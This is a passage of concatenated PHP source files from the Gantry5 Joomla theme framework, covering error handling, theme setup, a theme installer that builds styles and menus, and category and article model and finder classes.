// Setup Whoops-based error handler
$system = new SystemFacade($platform->errorHandlerPaths());
$errors = new Run($system);
$error_page = new PrettyPageHandler;
$error_page->setPageTitle('Crikey! There was an
error...');
$error_page->setEditor('sublime');
foreach
($locator->findResources('gantry-assets://css/whoops.css') as
$path) {
$error_page->addResourcePath(dirname($path));
}
$error_page->addCustomCss('whoops.css');
$errors->pushHandler($error_page);
$jsonRequest = $this->format === 'json' || ($_SERVER
&& isset($_SERVER['HTTP_ACCEPT']) &&
$_SERVER['HTTP_ACCEPT'] == 'application/json');
if (Misc::isAjaxRequest() || $jsonRequest) {
$json_handler = new JsonResponseHandler;
//$json_handler->setJsonApi(true);
$errors->pushHandler($json_handler);
}
$errors->register();
$container['errors'] = $errors;
if (GANTRY_DEBUGGER &&
method_exists('Gantry\Debugger', 'setErrorHandler')) {
\Gantry\Debugger::setErrorHandler();
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry\Framework\Services;
use Gantry\Component\Filesystem\Streams;
use Pimple\Container;
use RocketTheme\Toolbox\DI\ServiceProviderInterface;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class StreamsServiceProvider implements ServiceProviderInterface
{
public function register(Container $gantry)
{
$sp = $this;
$gantry['locator'] = function() use ($sp) {
return new UniformResourceLocator(GANTRY5_ROOT);
};
$gantry['streams'] = function($c) use ($sp) {
$schemes = (array)
$c['platform']->init()->get('streams');
/** @var UniformResourceLocator $locator */
$locator = $c['locator'];
$streams = new Streams($locator);
$streams->add($schemes);
GANTRY_DEBUGGER &&
method_exists('Gantry\Debugger', 'setLocator')
&& \Gantry\Debugger::setLocator($locator);
return $streams;
};
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
class Site
{
public function __construct()
{
$document = \JFactory::getDocument();
if ($document instanceof \JDocumentHTML) {
$this->theme = $document->template;
$this->url = $document->baseurl;
$this->title = $document->title;
$this->description = $document->description;
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Theme\AbstractTheme;
use Gantry\Component\Theme\ThemeTrait;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Class Theme
* @package Gantry\Framework
*/
class Theme extends AbstractTheme
{
use ThemeTrait;
/**
* @var bool
*/
protected $joomla = false;
/**
* If parameter is set to true, loads bootstrap. Returns true if
bootstrap has been loaded.
*
* @param bool|null $enable
* @return bool
*/
public function joomla($enable = null)
{
if ($enable && !$this->joomla) {
$this->joomla = true;
// Workaround for Joomla! not loading bootstrap when it needs
it.
$this->gantry()->load('bootstrap.2');
}
return $this->joomla;
}
/**
* @see AbstractTheme::extendTwig()
*
* @param \Twig_Environment $twig
* @param \Twig_LoaderInterface $loader
* @return \Twig_Environment
*/
public function extendTwig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null)
{
parent::extendTwig($twig, $loader);
/** @var \Twig_Extension_Core $core */
$core = $twig->getExtension('Twig_Extension_Core');
// Get user timezone and if not set, use Joomla default.
$timezone = \JFactory::getUser()->getParam('timezone',
\JFactory::getConfig()->get('offset', 'UTC'));
$core->setTimezone(new \DateTimeZone($timezone));
// Set locale for dates and numbers.
$core->setDateFormat(\JText::_('DATE_FORMAT_LC2'),
\JText::_('GANTRY5_X_DAYS'));
$core->setNumberFormat(0,
\JText::_('DECIMALS_SEPARATOR'),
\JText::_('THOUSANDS_SEPARATOR'));
$filter = new \Twig_SimpleFilter('date', [$this,
'twig_dateFilter'], array('needs_environment' =>
true));
$twig->addFilter($filter);
return $twig;
}
/**
* Converts a date to the given format.
*
* <pre>
* {{ post.published_at|date("m/d/Y") }}
* </pre>
*
* @param \Twig_Environment $env
* @param \DateTime|\DateTimeInterface|\DateInterval|string $date A
date
* @param string|null $format
The target format, null to use the default
* @param \DateTimeZone|string|null|false $timezone
The target timezone, null to use the default, false to leave unchanged
*
* @return string The formatted date
*/
public function twig_dateFilter(\Twig_Environment $env, $date, $format
= null, $timezone = null)
{
if (null === $format) {
$formats =
$env->getExtension('Twig_Extension_Core')->getDateFormat();
$format = $date instanceof \DateInterval ? $formats[1] :
$formats[0];
}
if ($date instanceof \DateInterval) {
return $date->format($format);
}
if (!($date instanceof \JDate)) {
// Create localized JDate object.
$twig_date = \twig_date_converter($env, $date, $timezone);
$date = new \JDate($twig_date->getTimestamp());
$date->setTimezone($twig_date->getTimezone());
} elseif ($timezone) {
$date->setTimezone($timezone);
}
return $date->format($format, true);
}
/**
* @see AbstractTheme::getContext()
*
* @param array $context
* @return array
*/
public function getContext(array $context)
{
$gantry = static::gantry();
$context = parent::getContext($context);
$context['site'] = $gantry['site'];
$context['joomla'] = $gantry['platform'];
return $context;
}
/**
* @see AbstractTheme::init()
*/
protected function init()
{
parent::init();
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$lang = \JFactory::getLanguage();
// FIXME: Do not hardcode this file.
$lang->load('files_gantry5_nucleus', JPATH_SITE);
if (\JFactory::getApplication()->isSite()) {
// Load our custom positions file as frontend requires the
strings to be there.
$filename =
$locator("gantry-theme://language/en-GB/en-GB.tpl_{$this->name}_positions.ini");
if ($filename) {
$lang->load("tpl_{$this->name}_positions",
\dirname(\dirname(\dirname($filename))), 'en-GB');
}
// Load template language files, including overrides.
$paths =
$locator->findResources('gantry-theme://language');
foreach (array_reverse($paths) as $path) {
$lang->load("tpl_{$this->name}",
\dirname($path));
}
}
$doc = \JFactory::getDocument();
if ($doc instanceof \JDocumentHtml) {
$doc->setHtml5(true);
}
$this->language = $doc->language;
$this->direction = $doc->direction;
$this->url = \JUri::root(true) . '/templates/' .
$this->name;
\JPluginHelper::importPlugin('gantry5');
// Trigger the onGantryThemeInit event.
$dispatcher = \JEventDispatcher::getInstance();
$dispatcher->trigger('onGantry5ThemeInit',
['theme' => $this]);
}
/**
* Get list of twig paths.
*
* @return array
*/
public static function getTwigPaths()
{
/** @var UniformResourceLocator $locator */
$locator = static::gantry()['locator'];
return
$locator->mergeResources(['gantry-theme://twig',
'gantry-engine://twig']);
}
/**
* @see AbstractTheme::setTwigLoaderPaths()
*
* @param \Twig_LoaderInterface $loader
* @return \Twig_Loader_Filesystem
*/
protected function setTwigLoaderPaths(\Twig_LoaderInterface $loader)
{
$loader = parent::setTwigLoaderPaths($loader);
if ($loader) {
$loader->setPaths($this->getTwigPaths());
}
return $loader;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Theme\ThemeInstaller as AbstractInstaller;
use Gantry\Joomla\Manifest;
use RocketTheme\Toolbox\File\YamlFile;
class ThemeInstaller extends AbstractInstaller
{
protected $extension;
protected $manifest;
public function __construct($extension = null)
{
parent::__construct();
jimport('joomla.filesystem.folder');
\JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
if ($extension instanceof \JInstallerAdapterTemplate) {
$this->setInstaller($extension);
} elseif ($extension) {
$this->loadExtension($extension);
}
}
public function setInstaller(\JInstallerAdapterTemplate $install)
{
// We need access to a protected variable $install->extension.
$reflectionClass = new \ReflectionClass($install);
$property =
$reflectionClass->getProperty('extension');
$property->setAccessible(true);
$this->extension = $property->getValue($install);
$this->name = $this->extension->name;
$this->manifest = new Manifest($this->extension->name,
$install->getManifest());
return $this;
}
public function loadExtension($id)
{
if ((string) intval($id) !== (string) $id) {
$id = ['type' => 'template',
'element' => (string) $id, 'client_id' => 0];
}
$this->extension = \JTable::getInstance('extension');
$this->extension->load($id);
$this->name = $this->extension->name;
}
public function getPath()
{
return JPATH_SITE . '/templates/' .
$this->extension->name;
}
public function getStyleName($title)
{
return \JText::sprintf($title,
\JText::_($this->extension->name));
}
public function getStyle($name = null)
{
if (is_numeric($name)) {
$field = 'id';
} else {
$field = 'title';
$name = $this->getStyleName($name);
}
$style = $this->createStyle();
$style->load([
'template' => $this->extension->element,
'client_id' => $this->extension->client_id,
$field => $name
]);
return $style;
}
public function getDefaultStyle()
{
$style = \JTable::getInstance('Style',
'TemplatesTable');
$style->load(['home' => 1, 'client_id'
=> 0]);
return $style;
}
/**
* @param string $type
* @return \JTableMenu
*/
public function getMenu($type)
{
/** @var \JTableMenuType $table */
$table = \JTable::getInstance('MenuType');
$table->load(['menutype' => $type]);
return $table;
}
public function createSampleData()
{
$this->updateStyle('JLIB_INSTALLER_DEFAULT_STYLE', [],
1);
$this->installMenus();
}
public function render($template, $context = [])
{
$token = \JSession::getFormToken();
$manifest = $this->getManifest();
$context += [
'description' => $this->translate((string)
$manifest->get('description')),
'version' => (string)
$manifest->get('version'),
'date' => (string)
$manifest->get('creationDate'),
'author' => [
'name' => (string)
$manifest->get('author'),
'email' => (string)
$manifest->get('authorEmail'),
'url' => (string)
$manifest->get('authorUrl')
],
'copyright' => (string)
$manifest->get('copyright'),
'license' => (string)
$manifest->get('license'),
'install_url' =>
\JRoute::_("index.php?option=com_gantry5&view=install&theme={$this->name}&{$token}=1",
false),
'edit_url' =>
\JRoute::_("index.php?option=com_gantry5&view=configurations/default/styles&theme={$this->name}&{$token}=1",
false),
];
return parent::render($template, $context);
}
public function createStyle()
{
$style = \JTable::getInstance('Style',
'TemplatesTable');
$style->reset();
$style->template = $this->extension->element;
$style->client_id = $this->extension->client_id;
return $style;
}
public function addStyle($title, array $configuration = [], $home = 0)
{
// Make sure language debug is turned off.
$lang = \JFactory::getLanguage();
$debug = $lang->setDebug(false);
// Translate title.
$title = $this->getStyleName($title);
// Turn language debug back on.
$lang->setDebug($debug);
$data = [
'home' => (int) $home,
'title' => $title,
'params' => json_encode($configuration),
];
$style = $this->createStyle();
$style->save($data);
if ($home) {
$this->actions[] = ['action' =>
'default_style_assigned', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_DEFAULT_STYLE_ASSIGNED',
$title)];
}
return $style;
}
public function updateStyle($name, array $configuration, $home = null)
{
$style = $this->getStyle($name);
if ($style->id) {
$home = ($home !== null ? $home : $style->home);
$params = (array) json_decode($style->params, true);
$data = [
'params' => json_encode($configuration +
$params),
'home' => $home
];
if ($home && !$style->home) {
$this->actions[] = ['action' =>
'default_style_assigned', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_DEFAULT_STYLE_ASSIGNED',
$style->title)];
}
$style->save($data);
}
return $style;
}
public function assignHomeStyle($style)
{
// Update the mapping for menu items that this style IS assigned
to.
$db = \JFactory::getDbo();
$query = $db->getQuery(true)
->update('#__menu')
->set('template_style_id=' . (int) $style->id)
->where('home=1')
->where('client_id=0');
$db->setQuery($query);
$db->execute();
if ($db->getAffectedRows()) {
$this->actions[] = ['action' =>
'home_style_assigned', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_HOME_STYLE_ASSIGNED',
$style->title)];
}
}
/**
* @param string $folder
* @param array $params
* @return string|bool
*/
public function createOutline($folder, array $params = [])
{
if (!$folder) {
throw new \RuntimeException('Cannot create outline without
folder name');
}
$this->initialize();
$created = false;
$params += [
'preset' => null,
'title' => null
];
$title = $params['title'] ?: ucwords(trim(strtr($folder,
['_' => ' '])));
$preset = $params['preset'] ?: 'default';
if ($folder[0] !== '_') {
$title = $this->getStyleName($title !== 'Default'
? "%s - {$title}" : 'JLIB_INSTALLER_DEFAULT_STYLE');
$style = $this->getStyle($title);
if (!$style->id) {
// Only add style if it doesn't exist.
$style = $this->addStyle($title, ['preset'
=> $preset]);
$created = true;
}
$id = $style->id;
} else {
$id = $folder;
}
$target = $folder !== 'default' ? $id : $folder;
// Copy configuration for the new layout.
if (($this->copyCustom($folder, $target) || $created) &&
isset($style)) {
// Update layout and save it.
$layout = Layout::load($target, $preset);
$layout->save()->saveIndex();
if ($id !== $target) {
// Default outline: Inherit everything from the base.
$layout->inheritAll()->name = $id;
$layout->save()->saveIndex();
$this->actions[] = ['action' =>
'base_outline_created', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_BASE_OUTLINE_CREATED',
$title)];
}
if ($created) {
$this->actions[] = ['action' =>
'outline_created', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_CREATED',
$title)];
} else {
$this->actions[] = ['action' =>
'outline_updated', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_UPDATED',
$title)];
}
// Update preset in Joomla table.
$this->updateStyle($title, ['preset' =>
$layout['preset']['name']]);
}
return $id;
}
/**
* @param array $item [menutype, title, alias, link,
template_style_id, params]
* @param int $parent_id Parent menu id.
* @param bool $load True if updating existing items.
* @return int
* @throws \Exception
*/
public function addMenuItem(array $item, $parent_id = 1, $load = false)
{
$component_id = $this->getComponent();
$table = \JTable::getInstance('menu');
$date = new \JDate();
$update = false;
// Defaults for the item.
$item += [
'menutype' => 'mainmenu',
'title' => 'Home',
'alias' => 'gantry5',
'note' => '',
'link' =>
'index.php?option=com_gantry5&view=custom',
'type' => 'component',
'published' => 1,
'parent_id' => $parent_id,
'component_id' => $component_id,
'checked_out' => 0,
'checked_out_time' => $date->toSql(),
'browserNav' => 0,
'access' => 1,
'img' => '',
'template_style_id' => 0,
'params' => '{}',
'home' => 0,
'language' => '*',
'client_id' => 0
];
if (in_array($item['type'], ['separator',
'heading'])) {
$item['link'] = '';
}
if ($item['type'] !== 'component') {
$item['component_id'] = 0;
}
if ($load) {
$update = $table->load([
'menutype' => $item['menutype'],
'alias' => $item['alias'],
'parent_id' => $item['parent_id']
]);
}
$table->setLocation($parent_id, 'last-child');
if (!$table->bind($item) || !$table->check() ||
!$table->store()) {
throw new \Exception($table->getError());
}
/** @var \JCache|\JCacheController $cache */
$cache = \JFactory::getCache();
$cache->clean('mod_menu');
$menu = \JTable::getInstance('menuType');
$menu->load(['menutype' =>
$item['menutype']]);
if
(!isset($this->actions["menu_{$item['menutype']}_created"]))
{
$postfix = $item['home'] ? '_HOME' :
'';
if ($update) {
$this->actions[] = ['action' =>
'menu_item_updated', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_ITEM_UPDATED' .
$postfix, $table->title, $table->path, $menu->title)];
} else {
$this->actions[] = ['action' =>
'menu_item_created', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_ITEM_CREATED' .
$postfix, $table->title, $table->path, $menu->title)];
}
} elseif ($item['home']) {
$this->actions[] = ['action' =>
'menu_item_updated', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_ITEM_HOME',
$table->title, $table->path, $menu->title)];
}
return $table->id;
}
public function installMenus(array $menus = null, $parent = 1)
{
if ($menus === null) {
$path = $this->getPath();
$file = YamlFile::instance($path .
'/install/menus.yaml');
$menus = (array) $file->content();
$file->free();
}
foreach ($menus as $menutype => $menu) {
$title = !empty($menu['title']) ?
$menu['title'] : ucfirst($menutype);
$description = !empty($menu['description']) ?
$menu['description'] : '';
$exists = $this->getMenu($menutype)->id;
// If $parent = 0, do dry run.
if ((int) $parent && !$exists) {
$this->deleteMenu($menutype, true);
$this->createMenu($menutype, $title, $description);
}
if (!empty($menu['items'])) {
$this->addMenuItems($menutype, $menu['items'],
(int) $parent);
}
}
}
/**
* @param string $type
* @param string $title
* @param string $description
* @throws \Exception
*/
public function createMenu($type, $title, $description)
{
/** @var \JTableMenuType $table */
$table = \JTable::getInstance('MenuType');
$data = array(
'menutype' => $type,
'title' => $title,
'description' => $description
);
if (!$table->bind($data) || !$table->check()) {
// Menu already exists, do nothing
return;
}
if (!$table->store()) {
throw new \Exception($table->getError());
}
$this->actions["menu_{$type}_created"] =
['action' => 'menu_created', 'text' =>
\JText::sprintf('GANTRY5_INSTALLER_ACTION_MENU_CREATED',
$title)];
}
/**
* @param string $type
* @param bool $force
*/
public function deleteMenu($type, $force = false)
{
if ($force) {
$this->unsetHome($type);
}
$table = \JTable::getInstance('MenuType');
$table->load(array('menutype' => $type));
if ($table->id) {
$success = $table->delete();
if (!$success) {
\JFactory::getApplication()->enqueueMessage($table->getError(),
'error');
} else {
$this->actions["menu_{$type}_deleted"] =
['action' => 'menu_delete', 'text' =>
\JText::_('GANTRY5_INSTALLER_ACTION_MENU_DELETED',
$table->title)];
}
}
/** @var \JCache|\JCacheController $cache */
$cache = \JFactory::getCache();
$cache->clean('mod_menu');
}
public function unsetHome($type)
{
// Update the mapping for menu items that this style IS assigned
to.
$db = \JFactory::getDbo();
$query = $db->getQuery(true)
->update('#__menu')
->set('home=0')
->where('menutype=' . $db->quote($type))
->where('client_id=0');
$db->setQuery($query);
$db->execute();
}
/**
* @deprecated 5.3.2
*/
public function cleanup()
{
$this->initialize();
$this->finalize();
}
public function finalize()
{
parent::finalize();
$gantry = Gantry::instance();
/** @var Outlines $outlines */
$outlines = $gantry['outlines'];
$name = $this->extension->name;
// Update positions in manifest file.
$positions = $outlines->positions();
$manifest = new Manifest($name);
$manifest->setPositions(array_keys($positions));
$manifest->save();
}
protected function addMenuItems($menutype, array $items, $parent)
{
foreach ($items as $alias => $item) {
$item = (array) $item;
$item += [
'menutype' => $menutype,
'title' => ucfirst($alias),
'alias' => $alias
];
$outline = isset($item['outline']) ?
$item['outline'] : (isset($item['layout']) ?
$item['layout'] : null);
$params = $this->getOutline($outline);
if (!is_array($params)) {
$params = [
'preset' =>
isset($item['preset']) ? $item['preset'] :
(isset($item['layout']) ? $item['layout'] : null),
'title' => isset($item['style'])
? $item['style'] : null
];
}
$id = $outline ? $this->createOutline($outline, $params) :
0;
$item['template_style_id'] = (string)(int) $id ===
(string) $id ? $id : 0;
// If $parent = 0, do dry run.
$itemId = $parent ? $this->addMenuItem($item, $parent, true)
: 0;
if (!empty($item['items'])) {
$this->addMenuItems($menutype, $item['items'],
$itemId);
}
}
}
protected function getInstallerScript()
{
if (!$this->script) {
$className = $this->extension->name .
'InstallerScript';
if (!class_exists($className)) {
$manifest = new Manifest($this->extension->name);
$file = $manifest->getScriptFile();
$path = "{$this->getPath()}/{$file}";
if ($file && is_file($path)) {
require_once $path;
}
}
if (class_exists($className)) {
$this->script = new $className;
}
}
return $this->script;
}
protected function getManifest()
{
if (!$this->manifest) {
$this->manifest = new
Manifest($this->extension->name);
}
return $this->manifest;
}
protected function getComponent()
{
static $component_id;
if (!$component_id) {
// Get Gantry component id.
$component_id =
\JComponentHelper::getComponent('com_gantry5')->id;
}
return $component_id;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Framework;
use Gantry\Component\Translator\Translator as BaseTranslator;
class Translator extends BaseTranslator
{
public function translate($string)
{
if (\func_num_args() === 1) {
return \JText::_($string);
}
$args = \func_get_args();
return \call_user_func_array(['JText',
'sprintf'], $args);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Assignments;
use Gantry\Component\Assignments\AssignmentsInterface;
class AssignmentsMenu implements AssignmentsInterface
{
public $type = 'menu';
public $priority = 1;
/**
* Returns list of rules which apply to the current page.
*
* @return array
*/
public function getRules()
{
$rules = [];
$app = \JFactory::getApplication();
if ($app->isSite()) {
$active = $app->getMenu()->getActive();
if ($active) {
$menutype = $active->menutype;
$id = $active->id;
$rules = [$menutype => [$id => $this->priority]];
}
}
return $rules;
}
/**
* List all the rules available.
*
* @param string $configuration
* @return array
*/
public function listRules($configuration)
{
require_once JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php';
$data = \MenusHelper::getMenuLinks();
$userid = \JFactory::getUser()->id;
$list = [];
foreach ($data as $menu) {
$items = [];
foreach ($menu->links as $link) {
$items[] = [
'name' => $link->value,
'field' => ['id',
'link' . $link->value],
'value' => $link->template_style_id ==
$configuration,
'disabled' => $link->type !=
'component' || $link->checked_out &&
$link->checked_out != $userid,
'label' => str_repeat('—',
max(0, $link->level-1)) . ' ' . $link->text
];
}
$group = [
'label' => $menu->title ?:
$menu->menutype,
'items' => $items
];
$list[$menu->menutype] = $group;
}
return $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Assignments;
use Gantry\Component\Assignments\AssignmentsInterface;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
class AssignmentsStyle implements AssignmentsInterface
{
public $type = 'style';
public $priority = 2;
/**
* Returns list of rules which apply to the current page.
*
* @return array
*/
public function getRules()
{
static $rules;
if (!isset($rules)) {
$rules = [];
$template = \JFactory::getApplication()->getTemplate(true);
$theme = $template->template;
$outline =
$template->params->get('configuration',
!empty($template->id) ? $template->id :
$template->params->get('preset', null));
if (JDEBUG) {
GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage('Template Style:',
'debug') && \Gantry\Debugger::addMessage($template,
'debug');
if (!$outline) {
\JFactory::getApplication()->enqueueMessage('JApplicationSite::getTemplate()
was overridden with no specified Gantry 5 outline.',
'debug');
}
}
/** @var UniformResourceLocator $locator */
$locator = Gantry::instance()['locator'];
if ($outline &&
is_dir($locator("gantry-themes://{$theme}/custom/config/{$outline}")))
{
$rules = ['id' => [$outline =>
$this->priority]];
}
}
return $rules;
}
/**
* List all the rules available.
*
* @param string $configuration
* @return array
*/
public function listRules($configuration)
{
return [];
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla;
class CacheHelper
{
public static function cleanTemplates()
{
self::cleanByType('com_templates');
self::cleanByType('_system');
}
public static function cleanMenu()
{
self::cleanByType('mod_menu');
self::cleanByType('_system');
}
public static function cleanPlugin()
{
self::cleanByType('_system', 0);
self::cleanByType('_system', 1);
self::cleanByType('com_plugins', 0);
self::cleanByType('com_plugins', 1);
}
private static function cleanByType($group = null, $client_id = 0,
$event = 'onContentCleanCache')
{
$conf = \JFactory::getConfig();
$dispatcher = \JEventDispatcher::getInstance();
$options = array(
'defaultgroup' => $group,
'cachebase' => ($client_id) ? JPATH_ADMINISTRATOR
. '/cache' : $conf->get('cache_path', JPATH_SITE .
'/cache'),
'result' => true
);
try {
$cache = \JCache::getInstance('callback', $options);
$cache->clean();
} catch (\Exception $e) { // TODO: Joomla 3.7 uses JCacheException
$options['result'] = false;
}
// Trigger the onContentCleanCache event.
$dispatcher->trigger($event, $options);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Category;
use Gantry\Framework\Gantry;
use Gantry\Joomla\Object\AbstractObject;
class Category extends AbstractObject
{
static protected $instances = [];
static protected $table = 'Category';
static protected $order = 'lft';
public function initialize()
{
if (!parent::initialize()) {
return false;
}
$this->params = json_decode($this->params);
$this->metadata = json_decode($this->metadata);
return true;
}
public function parent()
{
if ($this->alias != $this->path)
{
$parent = Category::getInstance($this->parent_id);
}
return isset($parent) && $parent->extension ==
$this->extension ? $parent : null;
}
public function parents()
{
$parent = $this->parent();
return $parent ? array_merge($parent->parents(), [$parent]) :
[];
}
public function route()
{
require_once JPATH_SITE .
'/components/com_content/helpers/route.php';
return
\JRoute::_(\ContentHelperRoute::getCategoryRoute($this->id .
':' . $this->alias), false);
}
public function render($file)
{
return Gantry::instance()['theme']->render($file,
['category' => $this]);
}
public function compile($string)
{
return Gantry::instance()['theme']->compile($string,
['category' => $this]);
}
public function toArray()
{
return $this->getProperties(true);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Category;
use Gantry\Joomla\Object\Finder;
class CategoryFinder extends Finder
{
protected $table = '#__categories';
protected $extension = 'com_content';
protected $readonly = true;
/**
* Makes all created objects as readonly.
*
* @return $this
*/
public function readonly($readonly = true)
{
$this->readonly = (bool)$readonly;
return $this;
}
public function find($object = true)
{
$ids = parent::find();
if (!$object) {
return $ids;
}
return Category::getInstances($ids, $this->readonly);
}
public function id($ids, $levels = 0)
{
if ($ids && $levels) {
$ids = (array) $ids;
$db = $this->db;
array_walk($ids, function (&$item) use ($db) { $item =
$db->quote($item); });
$idList = implode(',', $ids);
// Create a subquery for the subcategory list
$subQuery = $this->db->getQuery(true)
->select('sub.id')
->from('#__categories AS sub')
->join('INNER', '#__categories AS this ON
sub.lft > this.lft AND sub.rgt < this.rgt')
->where("this.id IN ({$idList})");
if (is_numeric($levels)) {
$subQuery->where('sub.level <= this.level +
' . (int) $levels);
}
// Add the subquery to the main query
$this->query->where("(a.id IN ({$idList}) OR a.id IN
({$subQuery->__toString()}))");
} else {
$this->where('a.id', 'IN', $ids);
}
return $this;
}
public function language($language = true)
{
if (!$language) {
return $this;
}
if ($language === true || is_numeric($language)) {
$language = \JFactory::getLanguage()->getTag();
}
return $this->where('a.language', 'IN',
[$language, '*']);
}
public function published($published = 1)
{
if (!is_array($published)) {
$published = (array) intval($published);
}
return $this->where('a.published', 'IN',
$published);
}
public function authorised($authorised = true)
{
if (!$authorised) {
return $this;
}
// Ignore unpublished categories.
$unpublished = $this->getUnpublished($this->extension);
if ($unpublished) {
$this->where('a.id', 'NOT IN',
$unpublished);
}
// Check authorization.
$user = \JFactory::getUser();
$groups = $user->getAuthorisedViewLevels();
return $this->where('a.access', 'IN',
$groups);
}
public function extension($extension)
{
$this->extension = static::getExtension($extension);
return $this->where('a.extension', '=',
$this->extension);
}
public static function getExtension($extension)
{
static $map = [
'article' => 'com_content',
'articles' => 'com_content',
'content' => 'com_content',
];
if (isset($map[$extension])) {
$extension = $map[$extension];
}
return $extension;
}
public static function getUnpublished($extension)
{
static $list;
if ($list === null) {
$db = \JFactory::getDbo();
$query = $db->getQuery(true)
->select('cat.id AS id')
->from('#__categories AS cat')
->join('LEFT', '#__categories AS parent
ON cat.lft BETWEEN parent.lft AND parent.rgt')
->where('parent.extension = ' .
$db->quote(static::getExtension($extension)))
->where('parent.published != 1 AND cat.published
< 1')
->group('cat.id');
$db->setQuery($query);
$list = $db->loadColumn();
}
return $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Content;
use Gantry\Framework\Gantry;
use Gantry\Joomla\Category\Category;
use Gantry\Joomla\Object\AbstractObject;
class Content extends AbstractObject
{
static protected $instances = [];
static protected $table = 'Content';
static protected $order = 'id';
public function initialize()
{
if (!parent::initialize()) {
return false;
}
$this->images = json_decode($this->images);
$this->urls = json_decode($this->urls);
$this->attribs = json_decode($this->attribs);
$this->metadata = json_decode($this->metadata);
$nullDate = \JFactory::getDbo()->getNullDate();
if ($this->modified === $nullDate) {
$this->modified = $this->created;
}
if ($this->publish_up === $nullDate) {
$this->publish_up = $this->created;
}
return true;
}
public function author()
{
return \JUser::getInstance($this->created_by);
}
public function category()
{
return Category::getInstance($this->catid);
}
public function categories()
{
$category = $this->category();
return array_merge($category->parents(), [$category]);
}
public function text()
{
return $this->introtext . ' ' . $this->fulltext;
}
public function preparedText()
{
return \JHtml::_('content.prepare', $this->text());
}
public function preparedIntroText()
{
return \JHtml::_('content.prepare', $this->introtext);
}
public function readmore()
{
return (bool)strlen($this->fulltext);
}
public function route()
{
require_once JPATH_SITE .
'/components/com_content/helpers/route.php';
$category = $this->category();
return \JRoute::_(\ContentHelperRoute::getArticleRoute($this->id
. ':' . $this->alias, $category->id . ':' .
$category->alias), false);
}
public function edit()
{
$user = \JFactory::getUser();
$asset = "com_content.article.{$this->id}";
if ($user->authorise('core.edit', $asset) ||
$user->authorise('core.edit.own', $asset)) {
return
"index.php?option=com_content&task=article.edit&a_id={$this->id}&tmpl=component";
}
return false;
}
public function render($file)
{
return Gantry::instance()['theme']->render($file,
['article' => $this]);
}
public function compile($string)
{
return Gantry::instance()['theme']->compile($string,
['article' => $this]);
}
public function toArray()
{
return $this->getProperties(true) + [
'category' => [
'alias' => $this->category()->alias,
'title' => $this->category()->title
],
'author' => [
'username' => $this->author()->username,
'fullname' => $this->author()->name
],
];
}
}
<?php
/**
* @package Gantry5
